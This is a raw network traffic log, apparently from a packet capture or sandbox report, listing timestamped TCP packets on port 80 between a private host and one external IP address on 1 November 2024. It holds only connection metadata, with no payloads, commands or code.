Nov 1, 2024 13:42:20.977787018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977809906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977813005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977813005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977827072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977842093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977842093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977852106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977869034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977871895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977885962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977888107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977905035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977907896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977920055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977935076 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977940083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.977946043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977961063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.977982998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978013039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978060007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978100061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978116035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978131056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978142977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978147984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978157043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978164911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978174925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978183985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978198051 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978200912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978205919 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978216887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978224039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978235006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978244066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978259087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978277922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978287935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978303909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978319883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978332996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.978337049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978348017 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978365898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.978373051 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.023348093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.023370981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.023549080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.099881887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.099909067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.099929094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.099944115 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.099957943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.099987030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100351095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100367069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100383043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100399971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100408077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100418091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100428104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100435019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100450993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100459099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100467920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100475073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100486994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100505114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100531101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100711107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100728035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100771904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100780010 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100780964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100800037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100816011 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100825071 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100831985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100840092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100848913 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100861073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100866079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100878000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100899935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100905895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100924969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100939989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100955963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100960970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100971937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100977898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.100990057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.100996971 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101006031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101011038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101026058 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101027966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101047039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101068974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101224899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101242065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101255894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101272106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101273060 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101283073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101289988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101296902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101305962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101314068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101324081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101334095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101340055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101346970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101357937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101361990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101378918 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101401091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101422071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101464033 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101562977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101578951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101596117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101612091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101624966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101624966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101629972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101638079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101645947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101654053 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101665020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101672888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101690054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101705074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101715088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101731062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101748943 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101763964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101769924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101778984 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101779938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101795912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101799011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101808071 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101811886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101829052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.101834059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101846933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.101876974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102298021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102313995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102329969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102345943 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102354050 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102364063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102372885 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102389097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102394104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102407932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102421999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102427959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102432966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102446079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102451086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102464914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102468967 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102482080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102490902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102498055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102502108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102515936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102519989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102533102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102535963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102554083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102560997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102571964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102587938 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102916002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102932930 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102948904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102965117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102971077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102981091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.102981091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.102998018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103001118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103015900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103023052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103043079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103054047 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103056908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103075027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103091002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103097916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103107929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103111029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103126049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103133917 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103142977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103144884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103159904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103161097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103176117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103179932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103202105 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103219032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103569984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103585958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103601933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103617907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103626966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103636026 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103642941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103658915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103662968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103674889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103693962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103696108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103708982 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103713036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103719950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103729010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103734016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103746891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103755951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103765011 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.103768110 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103790045 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.103806019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.186176062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.186224937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.186275005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.186300039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223407984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223440886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223457098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223464012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223479033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223494053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223516941 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223519087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223536968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223552942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223567963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223576069 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223582983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223598957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223603010 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223617077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.223622084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223649979 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.223670959 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224061966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224096060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224111080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224114895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224138021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224145889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224157095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224160910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224178076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224189043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224204063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224225998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224409103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224423885 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224447012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224455118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224461079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224478006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224478006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224493980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224493980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224509001 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224509954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224528074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224533081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224544048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224551916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224560022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224575043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224591017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224591970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224613905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224634886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.224965096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224982023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.224997997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225013971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225016117 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225028992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225039005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225048065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225064993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225090981 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225106001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225121975 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225136995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225150108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225182056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225186110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225199938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225214958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225225925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225230932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225254059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225279093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225291014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225306034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225320101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225334883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225342035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225349903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225358009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225367069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225373983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225394964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225414991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225421906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225435972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225450993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225464106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225466013 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225472927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225482941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225498915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225517035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225538969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225553989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225568056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225581884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225589991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225601912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225611925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225615978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:21.225636005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:21.225641012 CET	80	49754	95.215.207.176	192.168.2.4
